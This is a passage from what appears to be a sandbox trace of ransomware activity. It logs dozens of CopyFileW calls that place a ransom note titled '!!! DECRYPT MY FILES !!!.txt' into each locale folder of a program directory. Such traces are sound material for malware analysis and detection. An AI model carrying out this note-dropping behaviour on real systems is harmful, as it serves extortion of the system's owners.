files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.169] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.173] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.176] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.180] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.184] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.187] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.191] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.195] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.199] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.202] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.814] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.817] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.821] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.825] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.828] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.832] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.836] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.840] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0218.843] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.233] GetProcessHeap () returned 0x630000 [0220.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5080) returned 0x6fe3bb0 [0220.235] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.238] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.242] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.245] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.248] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.251] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.254] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lb-lu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.257] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.263] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.266] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.269] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0220.271] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.919] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.922] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.925] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.928] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.931] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.934] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.937] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.940] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.944] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.947] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.949] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0221.953] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0225.961] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0225.964] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0225.967] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0225.970] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.019] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.022] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.024] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program 